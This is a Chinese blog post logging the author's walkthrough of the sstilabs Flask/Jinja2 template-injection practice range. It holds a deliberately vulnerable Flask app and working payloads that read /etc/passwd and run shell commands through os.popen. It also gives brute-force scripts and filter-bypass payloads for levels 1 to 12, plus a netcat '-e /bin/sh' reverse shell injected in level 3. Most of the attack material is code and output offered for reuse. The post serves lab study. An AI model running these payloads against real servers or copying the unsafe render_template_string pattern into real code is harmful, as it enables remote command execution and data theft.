SSTI模板注入

Python3.8

Python 是一种高级、解释型、通用的编程语言,以其简洁易读的语法而闻名,适用于广泛的应用,包括Web开发、数据分析、人工智能和自动化脚本

哔哩哔哩的橙子工作室的ssti教学
文章主要记录学习过程,不喜勿喷

靶场搭建(不建议看我这个,建议看看别人博客)

信安学习之SSTI靶场搭建-CSDN博客
建议看这个博客或者问一下AI,这个文章主要记录学习过程

kali没网换net

先更新

apt-get update

输入下面代码,遇到报错等等

git clone https://github.com/X3NNY/sstilabs.git

解决方法如下:
在/usr/share目录下编辑/etc/hosts

cd /usr/share
vim /etc/hosts
添加下面两行
140.82.113.4 github.com
199.232.69.194 github.global.ssl.fastly.net

在home下:cd ~

git clone https://github.com/X3NNY/sstilabs.git
或者
GIT_CURL_VERBOSE=1 GIT_TRACE_PACKET=1 GIT_TRACE=1 git clone https://github.com/X3NNY/sstilabs.git

安装venv

cd ~/sstilabs/flasklab
python3 -m venv venv      # 创建虚拟环境(名字随便取)
source venv/bin/activate  # 激活虚拟环境
pip install -r requirements.txt

#查看当前 Python 版本
python --version
#进入项目目录 /usr/share/sstilabs/flasklab
cd /usr/share/sstilabs/flasklab
#安装 Flask 依赖
pip install -r drequirements.txt
#升级 Flask 到最新版本
pip install --upgrade flask
#运行 Flask 应用
python app.py或者python app.py --host=0.0.0.0 --port=5000


关闭虚拟环境

deactivate

示例代码

from importlib.resources import contents
import time
from flask import Flask, request, render_template_string

app = Flask(__name__)

@app.route('/', methods=['GET'])
def index():
    str = request.args.get('ben')
    html_str = '''
    <html>
    <head></head>
    <body>{0}</body>
    </html>
'''.format(str)
    return render_template_string(html_str)

if __name__ == '__main__':
    # app.debug = True
    app.run('127.0.0.1', '1111')

在这里插入图片描述

可以就行注入攻击
在这里插入图片描述

SSTI危害

任意文件读取,rce远程控制

魔术方法

在这里插入图片描述

__base__直接查基类,__class__是当前所属的类,___subclass__()看所有子类,__globals__查看所有函数方法

在这里插入图片描述

[ ' 函数 ' ]( ‘ 指令 ’ ). 方法()

1.文件读取

{".__class__.mro__[1].__subclasses__()[79]["get_data"](0,"/etc/passwd")}}

在这里插入图片描述

2.内建函数eval

在这里插入图片描述

().__class__.__bases__[0].__subclasses__()[65].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("cat /etc/passwd").read()')

eval在’builtins’里面

3.读取配置文件下的 FLAG

{{url_for.__globals__['current_app'].config.FLAG}}
{{get_flashed_messages.__globals__['current_app'].config.FLAG}}
{{ ''.__class__.__bases__[0].__subclasses__()[65].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("cat /etc/passwd").read()') }}

从左到右的对象链路来解释每一段含义及作用。

  1. ''
    • 一个空字符串字面量,类型是 str。这是常见技巧:从一个普通对象出发向上“爬”到 object、子类列表、函数全局等。
  2. .__class__
    • 返回对象的类。对 '' 来说,就是 str(字符串类)。
  3. .__bases__[0]
    • str.__bases__ 返回 str 的基类元组,通常是 (object,)。所以 [0] 取到 object
    • 目的:得到顶层 object 类,以便调用 object.__subclasses__()
  4. .__subclasses__()
    • object.__subclasses__() 会返回当前 Python 解释器已加载的、直接继承自 object 的所有类的列表(很多内建类型、模块中定义的类等都会列在这里)。这是枚举“可达类”的常用方法。
  5. [65]
    • __subclasses__() 的列表中按索引取出第 66 个类(索引从 0 开始)。不同环境(Python 版本、导入的模块、运行的库)下这个索引对应的类会不同。攻击者常用固定索引试探目标环境中某个“有用”类(比如能访问 __globals__ 的类)。
    • 注意:这种按索引的方法不可靠(环境敏感),但有时在特定 CTF/靶场里可行。
  6. .__init__
    • 取得该类的 __init__ 属性。对某些类,__init__ 是一个真正的 Python 函数(function),会有 __globals__ 字典;对另一些内建类型它会是槽包装器(slot wrapper,没有 __globals__)。攻击者选择的索引目的就是找到那个 __init__ 是 Python function 的类,从而能拿到 __globals__
  7. .__globals__
    • 这是 Python function 对象的内部属性,表示该函数定义所在模块的全局命名空间(一个字典)。它通常包含模块级变量、导入的模块、以及 __builtins__(或 builtins)等。通过 __globals__ 可以访问到很多原本不在模板上下文里的对象(例如 __builtins__、模块等)。
  8. ['__builtins__']
    • 取出全局字典里的 __builtins__。这个条目通常是内置函数/模块的集合;在不同 Python 实现中,__builtins__ 可能是模块对象,也可能是包含内置名到对象映射的字典。这里假设它是个字典(或映射),可以通过键名拿到 evalopen 等内置函数。
  9. ['eval']
    • __builtins__ 里取出 eval 函数。eval 会执行字符串形式的 Python 表达式或代码(安全风险极大),所以拿到 eval 能动态执行任意 Python 代码(受限于运行进程权限)。
  10. ('__import__("os").popen("cat /etc/passwd").read()')(作为 eval 的参数)
    • 这是传给 eval 的字符串,它做的事情是:
      • __import__("os") 导入内置模块 os
      • .popen("cat /etc/passwd") 启动子进程执行 cat /etc/passwd 并返回文件对象(注意:popenos 下是 os.popen,它会开 shell);
      • .read() 读取命令输出(也就是 /etc/passwd 的内容)。
    • 最终 eval(...) 的结果是 /etc/passwd 文件内容的文本,然后通过模板返回给调用者(页面上回显)。

4.OS的 三种变体

找到os.py

在这里插入图片描述

{{ config.__class__.__init__.__globals__['os'].popen('whoami').read() }}
{{ url_for.__globals__['os'].popen('whoami').read() }}

(图中写法有省略点号的变体 url_for.__globals__.os,实际通常是索引 ['os']

{{ ''.__class__.__bases__[0].__subclasses__()[199].__init__.__globals__['os'].popen('ls -l /opt').read() }}

这三条表达式本质上都做同一件事:从模板可达的对象出发,找到 os 模块(或 os 在某个函数的 globals 中),然后调用 os.popen(...) 去执行 shell 命令并读取输出

在这里插入图片描述

5.importlib类执行命令

使用 ‘_frozen_importlib.BuiltinImporter’ 的 ‘load_module’

在这里插入图片描述

import requests

url = input('请输入URL链接:')
for i in range(500):
    data = {"name": "{{''.__class__.__bases__[0].__subclasses__()[" + str(i) + "]}}"}
    try:
        response = requests.post(url, data=data)
        # print(response.text)
        if response.status_code == 200:
            if '_frozen_importlib.BuiltinImporter' in response.text:
                print(i)
    except:
        pass

6.linecache

在这里插入图片描述
在这里插入图片描述

7.subprocess.Popen

在这里插入图片描述

在这里插入图片描述

总结:常用的payload

在这里插入图片描述
无脑使用(如果懒地去记那么多)

{{config.class.init.globals[‘os’].popen(‘calc’)}}
{{url_for.globals[‘os’].popen(‘calc’)}}
{{lipsum.globals[‘os’].popen(‘calc’)}}
{{get_flashed_messages.globals[‘os’].popen(‘calc’)}}

★过滤器★

分类过滤器作用输出示例
字符串处理lower转小写`{{ “HeLLo”
upper转大写`{{ “HeLLo”
replace(old,new)替换子串`{{ “hello world”
reverse反转字符串`{{ “abc”
string强制转换为字符串`{{ 123
数字处理int转换为整数`{{ “12.9”
float转换为浮点数`{{ “12”
序列/集合处理length获取长度`{{ [1,2,3,4]
list转换为列表`{{ “abc”
reverse反转序列`{{ [1,2,3]
join拼接序列为字符串`{{ [‘a’,‘b’,‘c’]
对象处理attr("属性名")获取对象属性值`{{ user

SSTI-labs通关

L1 无waf

方法5 利用脚本扫一下

import requests

url = input('请输入URL链接:')
for i in range(500):
    code = {"code": "{{''.__class__.__bases__[0].__subclasses__()[" + str(i) + "]}}"}
    try:
        response = requests.post(url, data=code)
        # print(response.text)
        if response.status_code == 200:
            if '_frozen_importlib.BuiltinImporter' in response.text:
                print(i)
    except:
        pass

得到序号为122

{{().__class__.__base__.__subclasses__()[122]["load_module"]("os")["popen"]("cat flag").read()}}

或者 方法4

{{ config.__class__.__init__.__globals__['os'].popen('cat flag').read() }}
{{ url_for.__globals__['os'].popen('ls').read() }}

L2 过滤{{}}

脚本代码

import requests

url = "http://192.168.168.133:5000/level/2"

for i in range(500):
    try:
        data = {"code": '{% if "".__class__.__base__.__subclasses__()[' + str(i) + '].__init__.__globals__["popen"]("cat /etc/passwd").read() %}yin{% endif %}.'}
        response = requests.post(url, data=data)
        if response.status_code == 200:
            if "yin" in response.text:
                print(i, "---->", data)
                break
    except:
        pass

{%print("".__class__.__base__.__subclasses__()[157].__init__.__globals__["popen"]("cat flag").read())%}

L3 无回显shell反弹

脚本代码(先在kali运行nc,再执行脚本代码)

import requests

url = "http://192.168.168.133:5000/level/3"

for i in range(300):
    try:
        data = {"code":'{{"".__class__.__base__.__subclasses__()[' + str(i) + '].__init__.__globals__["popen"]("netcat 192.168.168.133 9999 -e /bin/sh").read()}}'}
        response = requests.post(url=url, data=data)
    except:
        pass

kali监听9999,向目标机注入“netcat 192.168.168.133 9999 -e /bin/sh”,kali远程获取控制权

然后cat flag就行

想法来源于
在这里插入图片描述

L4 过滤 ‘[’ ‘]’

.__getitem__(117)==[117] //替换

脚本

import requests

url = "http://192.168.168.133:5000/level/4"
for i in range(500):
    data = {"code": '{{"" .__class__.__base__.__subclasses__().__getitem__(' + str(i) + ')}}'}
    try:
        response = requests.post(url, data=data)
        if response.status_code == 200:
            if "_wrap_close" in response.text:
                print(i, "----->", response.text)
                break
    except:
        pass

{{''.__class__.__base__.__subclasses__().__getitem__(157).__init__.__globals__.__getitem__('popen')('ls;cat flag').read()}}

大神payload

{{lipsum.__globals__.get('os').popen('ls').read()}}

L5 过滤引号

payload(一步一步找到popen的具体位置,然后调用)

<get>
http://192.168.168.133:5000/level/5?k1=popen&k2=ls;cat flag
<post>
code={{().__class__.__base__.__subclasses__()[157].__init__.__globals__[request.args.k1](request.args.k2).read()}}

脚本

import requests
def attack(url,i):
    url=url+"?k1=popen&k2=ls;cat flag"
    data={"code" : '{{().__class__.__base__.__subclasses__()['+str(i)+'].__init__.__globals__[request.args.k1](request.args.k2).read()}}'}
    try:
        response=requests.post(url=url,data=data)
        if response.status_code==200:
            print(response.text)

    except:
        pass

for i in range(200):
    url = "http://192.168.168.133:5000/level/5"
    data = {"code": '{{().__class__.__base__.__subclasses__()['+str(i)+'].__init__.__globals__}}'}
    try:
        response = requests.post(url, data=data)
        if response.status_code == 200:
            # print("200")
            if "popen" in response.text:
                print(i, "----->", response.text)
                attack(url,i)

    except:
        pass


一定要找到对应模块下的popen!!

另一种解法,lipsum一次性定位到os,然后在os下 .popen(命令)

http://192.168.168.133:5000/level/5?k1=os&k2=ls;cat flag
code={{lipsum.__globals__[request.args.k1].popen(request.args.k2).read()}}

还有方法就是在args---->form,如下:

还有用agrs----->cookies

L6 过滤下划线__

脚本找到popen存在的位置157

import requests
def attack(url,i):
    # i=157
    url = "http://192.168.168.133:5000/level/6?class=__class__&base=__base__&subclasses=__subclasses__&getitem=__getitem__&ini=__init__&globals=__globals__&geti=__getitem__&read=read"
    data = {
        "code": "{{()|attr(request.args.class)|attr(request.args.base)|attr(request.args.subclasses)()|attr(request.args.getitem)("+str(i)+")|attr(request.args.ini)|attr(request.args.globals)|attr(request.args.geti)('popen')('ls;cat flag')|attr(request.args.read)()}}"}
    try:
        response=requests.post(url=url,data=data)
        if response.status_code==200:
            print(response.text)

    except:
        pass

for i in range(200):
    url = "http://192.168.168.133:5000/level/6?class=__class__&base=__base__&subclasses=__subclasses__&getitem=__getitem__&init=__init__&globals=__globals__"
    data = {"code": '{{()|attr(request.args.class)|attr(request.args.base)|attr(request.args.subclasses)()|attr(request.args.getitem)('+str(i)+')|attr(request.args.init)|attr(request.args.globals)}}'}
    try:
        response = requests.post(url, data=data)
        if response.status_code == 200:
            # print("200")
            if "popen" in response.text:
                print(i, "----->", response.text)
                attack(url,i)

    except:
        pass

利用attr构造payload绕过

url:
http://192.168.168.133:5000/level/6?class=__class__&base=__base__&subclasses=__subclasses__&getitem=__getitem__&ini=__init__&globals=__globals__&geti=__getitem__&read=read
post:
code={{()|attr(request.args.class)|attr(request.args.base)|attr(request.args.subclasses)()|attr(request.args.getitem)(157)|attr(request.args.ini)|attr(request.args.globals)|attr(request.args.geti)('popen')('ls;cat flag')|attr(request.args.read)()}}

其它解法(Unicode,hex)

{{lipsum.__globals__['os'].popen('ls').read()}}
	|
	| #采用字典键+Unicode
	V
{{lipsum['\x5f\x5fglobals\x5f\x5f']['os'].popen('cat /app/flag').read()}}
Unicode

在这里插入图片描述

hex

在这里插入图片描述

base64

在这里插入图片描述

格式化字符串url编码

%要用%25

在这里插入图片描述

L7 …过滤…

post:
code={{''['__class__']['__base__']['__subclasses__']()[157]['__init__']['__globals__']['popen']('ls;cat flag')['read']()}}

脚本寻找popen所在之处—>157

import requests


def attack(url, i):
    # i=157
    url = "http://192.168.168.133:5000/level/7"
    data = {"code": "{{''['__class__']['__base__']['__subclasses__']()[" + str(i) + "]['__init__']['__globals__']['popen']('ls;cat flag')['read']()}}"}
    print(url)
    print(data)
    try:
        response = requests.post(url=url, data=data)
        if response.status_code == 200:
            print(response.text)
    except:
        pass


for i in range(200):
    url = "http://192.168.168.133:5000/level/7"
    data = {"code": "{{''['__class__']['__base__']['__subclasses__']()[" + str(i) + "]['__init__']['__globals__']}}"}
    try:
        response = requests.post(url, data=data)
        if response.status_code == 200:
            # print("200")
            if "popen" in response.text:
                print(i, "----->", response.text)
                attack(url, i)

    except:
        pass

输出
Hello app.py
flag
level
requirements.txt
static
templates
venv
SSTILAB{enjoy_flask_ssti}

注意:这个题目要用’'或"",(){}[]无法索引到正确的模块

其他方法

可以参考之前的attr()过滤器,不多说了

或者直接使用lipsum

code={{lipsum['__globals__']['os']['popen']('ip a')['read']()}}

L8 特定关键词过滤

+拼接

在这里插入图片描述

~拼接

在这里插入图片描述

在这里插入图片描述

过滤器

在这里插入图片描述
在这里插入图片描述

py的char()

在这里插入图片描述

解法

加号拼接

code={{lipsum['__glo'+'bals__']['os']['pop'+'en']('cat flag')['read']()}}

脚本“+”拼接

import requests


def attack(url, i):
    # i=157
    url = "http://192.168.168.133:5000/level/8"
    data = {"code": "{{''['__cla'+'ss__']['__b'+'ase__']['__subcl'+'asses__']()[" + str(i) + "]['__in'+'it__']['__glob'+'als__']['pop'+'en']('ls;cat flag')['re'+'ad']()}}"}
    print(url)
    print(data)
    try:
        response = requests.post(url=url, data=data)
        if response.status_code == 200:
            print(response.text)
    except:
        pass


for i in range(200):
    url = "http://192.168.168.133:5000/level/8"
    data = {"code": "{{''['__cla'+'ss__']['__ba'+'se__']['__subcl'+'asses__']()[" + str(i) + "]['__i'+'nit__']['__glob'+'als__']}}"}
    try:
        response = requests.post(url, data=data)
        if response.status_code == 200:
            # print("200")
            if "popen" in response.text:
                print(i, "----->", response.text)
                attack(url, i)

    except:
        pass

L9 数字过滤

脚本找到popen所在模块-------->157


import requests


def attack(url, index):
    # 生成对应长度的字符串
    length_str = "a" * (index)

    # 使用同样的 {% set %} 技巧
    payload = "{{''['__class__']['__base__']['__subclasses__']()['" + length_str + "'|length]['__init__']['__globals__']['popen']('ls; cat flag').read()}}"

    data = {"code": payload}

    print(f"🚀 Attempting attack with index {index}...")
    print(length_str)

    try:
        response = requests.post(url, data=data)
        if response.status_code == 200:
            print("🎉 Attack successful!")
            print("Command output:")
            print(response.text)
        else:
            print(f"❌ Attack failed with status code: {response.status_code}")
    except Exception as e:
        print(f"❌ Attack failed: {e}")

url = "http://192.168.168.133:5000/level/9"
s = 'a'

while len(s) <= 300:
    # 使用 {% set %} 定义变量来绕过数字过滤
    data = {"code": "{{''['__class__']['__base__']['__subclasses__']()['" + s + "'|length]['__init__']['__globals__']}}"}

    try:
        response = requests.post(url, data=data)
        if response.status_code == 200:
            # print(f"Testing index {len(s)}")
            # print(response.text)
            if "popen" in response.text:
                print(f"🎯 Found popen at index {len(s)}!")
                print(f"Response: {response.text}")
                # 找到后调用攻击函数
                attack(url, len(s))
                break


        s = s + 'a'

    except :
        pass

在这里插入图片描述

payload

code={{''['__class__']['__base__']['__subclasses__']()["aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"|length]['__init__']['__globals__']['popen']('ls;cat flag')['read']()}}

输出结果

🎉 Attack successful!
Command output:
Hello app.py
flag
level
requirements.txt
static
templates
venv
SSTILAB{enjoy_flask_ssti}
又是这个方法
{{lipsum.__globals__['os'].popen('ls').read()}}

L10 过滤config

{{url_for.__globals__['current_app'].config}}
{{get_flashed.__messages__globals__['current_app'].config}}

lipsum不可行

脚本


import requests

url = "http://192.168.168.133:5000/level/10"
s = 'a'
data = {"code": "{{url_for.__globals__['current_app'].config}}"}

response = requests.post(url, data=data)
if response.status_code == 200:
    print(response.text)

L11 混合过滤

在这里插入图片描述

join只拼接dict的键名,值无所谓

在这里插入图片描述

获取之后加个**[index]**就可以直接用了

1. 获取下划线
{% set ben = ({}|select()|string())[index] %}{{ben}}

作用: 获取下划线字符 _
原理: 生成器对象的字符串表示中包含下划线,如 <generator object select at 0x...>

2. 获取空格
{% set ben = (self|string())[index] %}{{ben}}

作用: 获取空格字符
原理: self|string() 返回类似 <TemplateReference None> 的字符串,其中包含空格

3. 获取百分号
{% set ben = (self|string|urlencode) [index]%}{{ben}}

作用: 获取百分号 %
原理: URL编码会将空格转为 %20,从而得到百分号字符

4. 获取应用信息
{% set ben = (app.__doc__|string)[index] %}{{ben}}

作用: 探测Flask应用信息
原理: 获取应用对象的文档字符串,用于环境侦察

★脚本
import requests

url = "http://192.168.168.133:5000/level/11"


data = {"code": "\
{%set b= dict(__globals__=1)|join%}\
{%set c= dict(o=1,s=1)|join%}\
{%set d= dict(popen=1)|join%}\
{%set geti= dict(__getitem__=1)|join%}\
{%set r= dict(re=1,ad=1)|join%}\
{% set kg = ({} | select() | string()|attr(geti)(10))%}\
{%set cmd= (dict(cat=a)|join,kg,dict(flag=a)|join)|join%}\
{{lipsum|attr(b)|attr(geti)(c)|attr(d)(cmd)|attr(r)()}}"}

response = requests.post(url, data=data)
if response.status_code==200:
    print(response.text)

尤其要注意空格的获取方式!!!

{% set kg = ({} | select() | string()|attr(geti)(10))%}\
{%set cmd= (dict(cat=a)|join,kg,dict(flag=a)|join)|join%}\

在这里插入图片描述

payload

code={%set b= dict(__globals__=1)|join%}{%set c= dict(o=1,s=1)|join%}{%set d= dict(popen=1)|join%}{%set geti= dict(__getitem__=1)|join%}{%set r= dict(re=1,ad=1)|join%}{% set kg = ({} | select() | string()|attr(geti)(10))%}{%set cmd= (dict(cat=a)|join,kg,dict(flag=a)|join)|join%}{{lipsum|attr(b)|attr(geti)(c)|attr(d)(cmd)|attr(r)()}}

L12 混合过滤2

在这里插入图片描述

payload
code={%set nine=dict(aaaaaaaaa=a)|join|count%}
{%set eighteen=nine+nine%}{%set pop=dict(pop=a)|join%}
{%set xhx=(lipsum|string|list)|attr(pop)(eighteen)%}
{%set kg=(lipsum|string|list)|attr(pop)(nine)%}
{%set globals=(xhx,xhx,dict(globals=a)|join,xhx,xhx)|join%}
{%set getitem=(xhx,xhx,dict(getitem=a)|join,xhx,xhx)|join%}
{%set os=dict(os=a)|join%}
{%set popen=dict(popen=a)|join%}
{%set flag=(dict(cat=a)|join,kg,dict(flag=a)|join)|join%}
{%set read=dict(read=a)|join%}
{{lipsum|attr(globals)|attr(getitem)(os)|attr(popen)(flag)|attr(read)()}}

在这里插入图片描述

后续lab由于环境问题无法打开,SSTI-labs先到此为止
不喜勿喷,不喜勿喷

您可能感兴趣的与本文相关的镜像

Python3.8

Python3.8

Conda
Python

Python 是一种高级、解释型、通用的编程语言,以其简洁易读的语法而闻名,适用于广泛的应用,包括Web开发、数据分析、人工智能和自动化脚本

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值